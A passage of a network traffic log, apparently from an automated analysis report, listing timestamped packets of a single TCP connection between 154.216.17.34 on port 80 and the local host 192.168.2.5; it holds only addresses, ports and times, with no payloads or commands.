Oct 31, 2024 02:09:14.227684975 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.227696896 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.227699995 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.227709055 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.227729082 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.227750063 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.227752924 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.227765083 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.227777004 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.227790117 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.227806091 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.227808952 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.227813959 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.227821112 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.227844954 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.227869987 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.228265047 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.228297949 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.228318930 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.228332043 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.248178959 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.248191118 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.248203039 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.248306990 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.248320103 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.248331070 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.248343945 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.248348951 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.248348951 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.248357058 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.248368025 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.248378992 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.248380899 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.248387098 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.248413086 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.248435974 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.249382973 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.249434948 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.249505997 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.249517918 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.249530077 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.249541044 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.249552965 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.249558926 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.249564886 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.249577999 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.249589920 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.249612093 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.249627113 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.249634027 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.249645948 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.249658108 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.249670029 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.249677896 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.249684095 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.249696970 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.249721050 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.249725103 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.249732018 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.249742985 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.249753952 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.249773026 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.249789953 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.249813080 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.249825001 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.249835968 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.249847889 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.249869108 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.249890089 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.250361919 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.250374079 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.250385046 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.250415087 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.250415087 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.250427008 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.250436068 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.250438929 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.250452042 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.250464916 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.250493050 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.250511885 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.250524998 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.250535965 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.250562906 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.250572920 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.250605106 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.250617027 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.250627041 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.250638962 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.250649929 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.250658989 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.250690937 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.251357079 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.251404047 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.251406908 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.251415968 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.251444101 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.251455069 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.288932085 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.288945913 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.288955927 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.289026022 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.289037943 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.289051056 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.289063931 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.289083004 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.289118052 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.289118052 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.289118052 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.289118052 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.289118052 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.289118052 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.289225101 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.289244890 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.289257050 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.289279938 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.289309978 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.289344072 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.289355040 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.289365053 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.289393902 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.289396048 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.289407969 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.289416075 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.289418936 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.289446115 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.289474010 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.303431034 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.303441048 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.303452015 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.303493023 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.303503990 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.303514957 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.303534985 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.303672075 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.303699017 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.303709984 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.303723097 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.303735971 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.303747892 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.303760052 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.303801060 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.303812981 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.303823948 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.303843975 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.303864956 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.303908110 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.303914070 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.303919077 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.303956985 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.303988934 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.304001093 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.304017067 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.304044008 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.304068089 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.304111004 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.304121971 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.304132938 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.304164886 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.304198980 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.304409027 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.304457903 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.304477930 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.304488897 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.304500103 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.304512024 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.304531097 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.304533005 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.304557085 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.304574013 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.304624081 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.304642916 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.304653883 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.304672956 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.304692030 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.315087080 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.315139055 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.315166950 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.315180063 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.315238953 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.315249920 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.315262079 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.315272093 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.315294027 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.315306902 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.315325975 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.315339088 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.315351009 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.315359116 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.315359116 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.315359116 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.315359116 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.315359116 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.315366030 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.315371037 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.315371037 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.315376997 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.315409899 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.315435886 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.315506935 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.315519094 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.315530062 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.315557957 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.315570116 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.315579891 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.315591097 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.315617085 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.315620899 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.315639973 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.315659046 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.315738916 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.315748930 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.315759897 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.315783978 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.315795898 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.315804005 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.315809011 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.315819025 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.315839052 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.315867901 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.315928936 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.315939903 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.315952063 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.315958023 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.315979958 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.316005945 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.316023111 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.316046000 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.316056967 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.316068888 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.316096067 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.316242933 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.316291094 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.316293001 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.316302061 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.316312075 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.316343069 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.316360950 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.316370964 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.316380978 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.316422939 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.316536903 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.316550016 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.316581011 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.316606998 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.316610098 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.316621065 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.316627026 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.316632986 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.316638947 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.316705942 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.316705942 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.316719055 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.316730022 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.316749096 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.316776037 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.316807985 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.316819906 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.316831112 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.316855907 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.316883087 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.317137003 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.317184925 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.317213058 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.317223072 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.317250967 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.317261934 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.317265034 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.317293882 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.317315102 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.317322969 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.317352057 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.317368984 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.317375898 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.317394018 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.317410946 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.317430019 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.317441940 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.317452908 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.317485094 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.317512989 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.317529917 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.317542076 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.317553997 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.317564964 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.317584038 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.317610979 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.317615032 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.317665100 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.317692041 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.317703009 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.317718029 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.317740917 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.317740917 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.317754030 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.317770958 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.317795992 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.317806005 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.317816973 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.317851067 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.318641901 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.318653107 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.318659067 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.318707943 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.340676069 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.340688944 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.340699911 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.340780020 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.340791941 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.340810061 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.340821028 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.340832949 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.340841055 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.340842962 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.340842962 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.340842962 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.340853930 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.340863943 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.340879917 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.340900898 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.340931892 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.340943098 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.340953112 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.340965033 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.340976954 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.340981960 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.341012955 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.364572048 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.364583969 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.364600897 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.364628077 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.364633083 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.364649057 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.364649057 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.364661932 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.364856005 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.364878893 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.364882946 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.364882946 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.364892006 CET	80	49982	154.216.17.34	192.168.2.5
